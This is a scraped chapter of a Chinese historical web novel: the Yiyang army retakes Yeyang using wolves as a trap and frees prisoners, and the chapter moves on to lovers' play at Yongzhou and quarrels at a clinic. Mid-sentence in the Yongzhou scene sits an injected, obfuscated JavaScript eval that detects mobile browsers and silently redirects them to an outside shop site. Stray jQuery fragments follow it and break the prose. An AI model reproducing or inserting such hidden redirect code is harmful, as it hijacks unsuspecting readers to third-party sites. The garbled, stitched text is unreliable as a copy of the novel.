110.等待
    同一片星穹的另一端,邺阳的沙石碎入了寒霜,厨房里的灶台裹了一层尘土,似要将自己掩埋藏匿,等着那个熟悉的人回来再次将它烧得火热。

    仓羯官兵身披皮裘,握着大刀围守在邺阳的城楼上,寒风朔朔,如有丝缕的锋芒划过他们的脸,一双双眼睫结起了微霜。

    “好冷啊,再过些日子该下雪了吧?”

    “看我们能不能活到下雪那天吧。”

    尔朱兰察守在邺阳城中,郡守府的灯火夜夜长明,他在等着大俞的“微弱”反抗,他以为大俞只有龙骧军。

    郡守府的地牢之中,羊脂火把烧出了喷香的味道,可仓羯人没有多余的食物愿意分给囚徒。

    胡一德与布铺掌柜总是把食物择出一半,给牢狱中的几个孩童,食缺水短,牢狱中渐渐有人昏厥,而后又在丝缕的水食中稍稍醒转,无力的吞咽仅存的生机。

    牢狱中已充斥着恶臭,仓羯人对清理囚徒的排泄物没什么兴趣,便就那样搁置着,偶尔下去看一眼,按照尔朱兰察的吩咐,不死即可。

    王潜领着三万翌阳军缓缓步入了大漠的寒风之中,戈壁滩涂逐渐将他们围拢,放眼望去,除了黑暗,眼前空无一物。

    “停!”王潜观望四周之后,勒马驻足,“点起篝火,把你们的棉衣裘服都穿上,吃些东西。”身旁的校尉得令去办。

    “这里离邺阳还很远,应该看不见火光。”武初明四周一片洞黑,亦没看见有什么光点。

    “看不见,还远着呢,先休息一下,明日太阳升起,可会难受的紧。”王潜下马走到一堆篝火边上,回头向武初明招了招手。

    武初明将马牵了过去,马儿在他身边伏倒,他靠着旁侧的岩石坐下,眼睛一直盯着王潜,想看出他的谋算。

    王潜在他探究的眼神中笑了一下,“初明兄不要猜了,你那徒儿不会让你涉险,既然让你跟来,说明没什么大问题。”

    武初明望身后的岩石上一靠,发觉有些凹凸不平,挪了挪位置,找到了一个舒服的地方,半躺着靠在上面,闭起眼来,“仓羯人大概没什么事情,当心有狼。”

    “有火呢。”王潜望向四周,军士们点了满地的篝火,金黄的沙石在火光下褪下了寒霜,各处皆凹凸不平,有许多隆起的风蚀岩,皆是风没能吹走的,便被雕琢出了轮廓各异的形状。

    军士们亦坐下煮食歇息,吃过之后有的相互倚靠,有的一起靠在退了热的岩石上,值守的军士戳着火堆,偶尔抬头观望,看一看吃饱睡下的弟兄,等着时辰换岗。

    陈清与左柯带兵守着粮草军械,两人一时皆睡不着,各怀心思。

    “你小时候便认识少主?”陈清好奇道。

    “若我父亲没有走错那一步,我兴许能与他一同长大。”左柯抓了跟柴火,挑拨着地上的沙石,“他本是京城里最傲气的小侯爷,肆意张扬,无忧无惧,是我父亲害了他。”

    “可他救了我,他到越州后救了我,如果不是这样,我可能早已饿死在街上,兴许是这样。”

    左柯没想到他会这么觉得,难道不该骂一骂吗?他望向陈清,有些疑惑,“你不骂我?”

    “骂你做什么?你又不是出主意的。”陈清亦疑惑的望向他。

    左柯似得了宽慰,心里有一块巨石似忽然被风吹散,烟尘茫茫之后,他抬头看见了大漠铺天的星穹。

    “我还没见过这样的天。”左柯靠在身后的岩石上抬头仰望,他一直在竟州惶惶度日,眼里的光只有火把、灯光与那厨房里的柴火。

    陈清往上看了一眼,“我也没有。”他捡了根木柴丢进火里,听见了啪啪的断裂声,“明日会不会很热?”

    “明日要去邺阳,你准备好了?”

    “你带着他们护着这些东西,我要去帮师父。”

    “好,早去早回。”

    早去早回?陈清第一次听说行军打仗还要早去早回的,愣了一瞬,笑了,“我尽量,你准备些吃的,我爱吃肉。”

    “管够啊,你们越州那东西多得很。”左柯指了一下被军士围在中间的车架。

    “仔细着,等少主来了,请你吃狼肉。”

    火里的木柴啪的一声脆响,不远处有军士听见了隐隐传来的脚步声。

    他站起身来,一步步佯装着随意,手里握着烤熟的肉食,大步走向王潜。

    陈清余光中看见了异样,与左柯相视一眼,起身走了过去。

    那军士将手里的肉食递给了王潜,挂了一脸笑意,却道:“大人,那边有人走动的声音。”

    王潜目光一凛,低声道:“悄悄戒备。”武初明睁开了双眼,定定望着满天的繁星。

    值守的军士视线交流之后,不动声色地唤醒了四周的弟兄,他们继续佯装睡去,等待着指令。

    耳边除了风的声音别无其它,方才的脚步声再也没有回来,一片静谧中,陈清站在王潜和武初明面前,警惕地眺望。

    “师父,要不我去看看?”陈清总想做些事情。

    武初明闭上眼睛,翻了个身,侧着睡下,“他已经走了。”

    王潜垂眸思量,命军士解了戒备,继续休息,他望向邺阳的方向,心想有些动作似乎不必等到天亮了,最好的时机便是尔朱兰察得到斥候回报后不久。

    陈清顺着王潜张望的方向看去,“大人,邺阳有人要救吗?”他想着城中百姓不知如何了。

    “有,不多。”王潜转向陈清,“你可愿去救?”

    陈清一下来了精神,“自然愿意!”手里拿着环首刀往王潜面前送了送。

    王潜撇了一眼装睡的武初明,笑道,“那你明日便听我的,你师父老了,你是知道的。”

    陈清歪过头去,想看看武初明是不是睡着了,见他闭着眼没什么动静,亦尴尬的笑了笑。

    天光出现之前,王潜便唤醒了沉睡的军队,万余军士起身收拢,随着陈清前往邺阳郡城。

    临近邺阳他们看见了城楼上火把微弱的光亮,城楼上站着数十个铁甲钢盔的身影,陈清知道那定不是大俞人。

    数千龙骑在陈清一声杀令下直奔邺阳城楼,投石机在依旧深沉的夜色中翻起了千斤的巨石,一颗颗如同坠星一般重重落在了城楼上,仓羯官兵措手不及,尔朱兰察以为翌阳军还在休憩沉睡,一时间毫无还手之力。

    射升营的火油大弩骤然飞起,如火龙冲入九霄,而后迅速坠落在邺阳郡城中,郡城内霎时火光四起,骤然升起的浓烟刺进了仓羯人的眼里,气味迅速入了口鼻,城楼上的官兵不住地呛咳起来。

    尔朱兰察刚得了斥候的消息便被打了个措手不及,一怒之下命万余官兵出城迎敌。

    城门打开的瞬间,密密麻麻的仓羯人挥舞着大刀冲了出来,数千龙骑迎面抗争了一番,随即在陈清的喝令下调转了马头,跟着陈清故作惊慌,一路往东面草地奔去。

    陈清心里也是忐忑,可他不惧,王潜说找到草地植被,便有狼群出没。

    他带着龙骑卫一路狂奔,在眼前墨色开始淡去时看见了一丛丛的胡杨。

    模糊的视线里,宽窄不一的叶片迎风摇曳,陈清带着军士奔了进去,绕过松散的沙丘,等着仓羯人追上来。

    那些千年不朽的木叶之间一双双青绿的眼睛闪烁着,它们的归属者闻到了食物的香气,甩了甩毛茸茸的脑袋,悄悄出现在稀疏的草木之间,借着胡杨倒下又生根的枝干遮蔽自己的身影。

    仓羯人吼叫着出现时,并不知道自己到了什么地方,这是大俞的土地,他们怎么知道呢?

    狼群在他们到来之时似认出来屠杀它们亲族的人,霎时蹿出了藏身之处,从脚下撕咬,从高处扑下,万余仓羯人在一片漆黑中惊慌起来,他们看不见到底是什么在啃食他们的骨肉。

    陈清听见惨叫声之后,调转马头,抬起手后,龙骑军队架起了弓弩,箭矢一支接一支,带走了每一个出现在眼前的魂魄,没有给他们丝毫停留的余地。

    王潜与武初明带着射升虎焚等校在他们离开之后直奔邺阳,尔朱兰察在城中传来马蹄声和脚步声的时候,才发现大俞竟有如此多的兵甲,心想刘夕不是解散了大俞的军队吗?来不及揣度,他只能带着十余个近卫仓皇奔离。

    武初明见他逃往临安,转身带上了虎焚军往陈清去的方向狂奔,在仓羯人回逃的路上迎面截住了他们。

    虎焚军的银枪在昏暗之中寒光隐隐,毫不留情地刺入仓羯人的骨肉,拖拽挑打,迅猛矫健的身影伴着狂放的怒喊声穿梭在敌军之中。

    天光照破大漠雾蓝的寒气,翌阳军此战,卒百余,伤千余。

    陈清领伤员入城后,将他们安置在后军处上药休养,左柯负责着后军一切事宜。

    王潜早想到尔朱兰察手底下没多少人,看着眼前空寂的邺阳郡城,翌阳军四处查看,他一时间也有些放松下来,“你这徒儿还真是照顾我。”

    “他就想吓唬你,真有事儿的他不会让我们两个老骨头来。”武初明环顾邺阳街道,寥寥落落,什么都没有,郡城的人呢?

    “我带人去郡守的地牢看看,你去看护那些受伤的小孩儿。”王潜引马前行,带了十几个军士去寻找郡守府。

    他们摸进地牢时心惊胆寒,一片污秽狼藉,人在里面不饿死也会因染疾而病死,到时候朝廷谈判起来,仓羯人定会说他们没有伤害囚犯,真是阴毒。

    胡一德见有军士来救他们,便知是援军来了,与那布铺掌柜相互搀扶着勉强站起身来,“多谢大人相救,下官无用,还望大人赎罪。”

    王潜忙扶住二人,“胡大人请起,有什么事情先出去再说。”

    胡一德在王潜的搀扶下与布铺掌柜一同走出了地牢,回到府宅里,军士们照顾众人安顿,清洗,备上了食物。

    接近午时,人员大致安置妥当,那布铺掌柜寻到王潜,颤颤地跪下,道:“大人,临安城中有百余人关在了城北地牢里,皆是羽安楼和赌坊里的大俞人,还请大人想想办法。”

    王潜忙将他扶起,搀着他到床榻边坐下,“大俞的人定当救回,无需如此,你先好好歇着。”

    布铺掌柜在王潜坚定的目光中安心在榻上躺下,闭上眼睛,在久违的舒展中很快入了梦。

    左柯处理好了伤兵,又去帮着查看从地牢救出的百姓,回头便找来了药,一一对应着给他们服下。

    此时城外来了许多赶着牛羊的人,军士们不明缘由,不敢放行,通报了武初明。

    “啊,那是城里的牧民,许是知道仓羯人离开了,你们搜查一下,放进来就是。”

    军士得令去办,烈阳之下,牧民赶着牛羊进了城,高声喊着,“这些牛羊送给你们,大人!大人!”

    毛茸茸的羊群咩咩叫着,牛群脖子上铜铃咚咚直响,交织成一片欢快祥和,围向城楼底下巡防的军士,披甲的射升营,持鞭的胡骑,皆被唬得连连后退。

    陈清闻声赶来,询问情况,笑道:“收下收下!少主见了定高兴得很!”

    于是邺阳城在烈阳当空之时升起了屡屡炊烟,肉香和菜香弥漫在荒芜的城池中,王潜和武初明看着年轻人欢愉的吃着,心里亦是高兴的,只是在往北还有什么,他们压在心底,谁也不想在此时提起。

    “歇两日,等着你那徒儿。”王潜喝了一口牧民送的烧酒,辣得皱眉。

    武初明皱眉看着他,给了个嫌弃的表情,“你悠着点儿。”

    王潜看了他一眼,不做声,默默吃起了牛骨汤。

    *

    京城出航的船只循着水路行驶了几日,陆续停在了雍州码头。雍州军早已待命,佯装正常检查后一一放行。

    雍州百姓只觉得忽然来了好多商人,似是要去北边交易,交头接耳,议论纷纷。

    顾言和晚宁乘着画舫靠岸,晚宁扶着栏杆站在船沿上,看着附近的商船上陆陆续续走下来的军士,一个个皆是商人模样,有的还特意摆了个气势,她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678836|131336||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    觉得有趣的很。

    顾言走到她身边,探着身子去看她的脸,“阿宁在看什么?”

    “他们穿成这样有些好看。”晚宁回头看他,嬉笑着,想看看他如今还吃不吃这醋。

    顾言知道她逗他,一本正经地摇了摇头,“不,我比他们好看。”

    “为何?”晚宁故意问他。

    顾言掐上她的脸,轻轻地拉拽,“因为我是你夫君,你必须觉得我比他们好看。”

    晚宁心里对着回答颇为满意,转瞬装了一副掐疼了的模样,“啊,疼。”

    顾言听她喊疼,登时收回了手,“怎么了?我没使劲儿啊。”他看着晚宁一副要哭的模样急上心头。

    就在他抬手要给她揉揉的时候,晚宁转身跑开,回头对他做了个鬼脸,一面提着裙摆往上岸的船板上跑,一面喊着,“我骗你的!”

    顾言呆了一瞬,发觉他的夫人是要与他玩闹,他踏上栏杆飞掠而下,晚宁刚跑到岸上,回头一看,发现他不见了。她心里奇怪着,放慢了脚步,目光在画舫上搜寻,走着走着突然撞在了一个人身上。

    她站稳了一看,顾言一脸无奈地站在她面前,“夫人想跑哪儿去?”

    晚宁站直了一笑,伸手指了一下雍州城门的方向,“那儿,我们比比,看谁快?”

    这是哪一出?顾言很诧异,只是看她想玩儿,他便点着头,抬了抬手,“夫人先请,追不上就算为夫输了,听凭夫人处罚。”

    晚宁看看他,又看看路,“那好,你说的!”话音刚落,她便跑了去,窜进了林子里,轻轻一跃,攀上树去。

    顾言往前追了几步,跑进了道路另一侧的林子,随意一踏,攀上了粗壮的枝干穿梭其中,透过林子的间隙,盯着晚宁衣袂翩飞的身影在林叶之中时隐时现。

    快到护城河边时,晚宁穿出了林子,一回头竟发现顾言又不见了,她犹豫着放慢了脚步,继而逐渐停了下来。

    她张望着寻找,却只看见迎面而来的一些乔装的军士,丝毫不见他的踪迹。

    身上的缀珠衣裙带着细闪在正午的日光下醒目又明亮,顾言悄悄在树丛里瞧着她,看着她东张西望的模样。

    晚宁站在原地等了半晌,狐疑着慢慢往回走,目光投向各处,心里逐渐开始有些紧张,“怎么不见了?”她自言自语道。

    顾言从林子里走出来,悄悄跟在她身后,走了几步,趁她回头之前跑了上去,忽然从背后抱起她转了一圈,“抓到了!”

    晚宁吓了一跳,站稳后挣扎着转过身去,撞见他清朗得意的笑颜。

    “是了,就是这样高兴才好。”晚宁挣开他,继续往前走,“你这几日总是神色出离,都想着什么?”

    “没什么,叱罗桓跟我说过了。”顾言跟在她身后,看着她头发上总佩着的一支银簪,原本有些粗糙暗淡的簪子如今已戴的发亮。

    晚宁颇感意外,“他何时说话这么顶用过?”

    顾言轻笑一声,望向雍州城宽广护城河,秋叶如舟,顺着水流途经一个个星点,不曾徘徊,“兴许也就昨夜说的话管用,毕竟给了我好处,我总得意思意思。”

    晚宁知道他不会说好话,撇了他一眼,“你就嘴硬。”

    顾言不回答,上前牵上她的手,晚宁假意挣开,又被他牢牢抓住。

    *

    天和堂里受伤百姓的亲属家眷将本就不大的厅堂挤得实满,吵着嚷着,皆想要个说法。

    风乾安哪里见过这阵仗,头大的紧,躲到阁楼里,留下风如月和临瑶两个人自己去应对。

    顾言此番也总算坑了他一把,伤者的亲属不断地指着风如月质问,让他有些不知所措,总不能说是朝廷故意要在大婚巡街之时捉拿贼人,误伤?

    他思来想去觉着怎么说也说不通,临瑶觉得说清就好,实事求是方为正道,没什么好隐瞒的,腕间银铃摇响,道:“各位,是这样,侯爷在巷子里埋伏了精兵,趁大家在大街上时想把贼人悄悄捉住,可不曾想有贼人混入了人群中,故而才造成了伤害,实在对不住大家,大家的药钱诊金都由我们出,以表歉意。”临瑶说着便双手交叠在身前行了个琼山之礼。

    多数伤者亲属听了皆有理解,却有那么两个不依不饶的,“你们办事不力,难不成还想要我们承担要钱,说的都是废话,赔钱!”

    临瑶吓了一跳,整个人往后搐了一下,风如月迅速挡在她前面,“你们在这里闹事,耽误的是我们诊治伤者的时间,你们到底是为伤者不平,还是为了趁机谋取私利?”

    闹事的两个恼羞成怒,脸上憋得通红,他们为的就是自己心里的私欲,哪里是替伤者冤屈,上前就要砸东西,风如月抓住了一只胳膊,翻转一拧,“赔偿我自会去找陛下给你们要,识趣的赶紧离开,伤者皆需休息,不然就让官府来领你们去府衙里争论好了。”

    两个要砸东西的被拉了回去,往外推,他们一个个往外走,临出门时又回头警告道:“赶紧把人给我们治好!”

    风如月高声道:“一点儿擦破皮肉的小伤,你们等着就好啦。”

    姜禹本就反应迅速,只有一个百姓伤口略深,其余的皆无大碍,可就是回不了家,因着家里不让回,非要个“说法”。

    风如月也是第一次见这样的事情,可伤者要紧,总不能赶到大街上去,大不了自己掏钱吧,麻烦得很。

    他摇了摇头,转过身去,抬手轻轻抚过临瑶的脸,“没事儿,赶紧把他们治好再说。”

    “是啊,不是伤者最要紧吗?他们这样闹,颇耽误事儿,那个还没换药呢。”,临瑶一面抱怨着,一面走到药室里去拿药。

    风乾安听见楼下没了动静,探头探脑地从阁楼里走下来,“哎呀,你们真是一个比一个熊!”

    “你净会躲着,赶紧弄些吃的,这好几张嘴呢。”风如月一边抱怨,一边摘着草药,“这死人是真敢坑我,躲到沙漠里去?哼,等着,过几日便去找你算账。”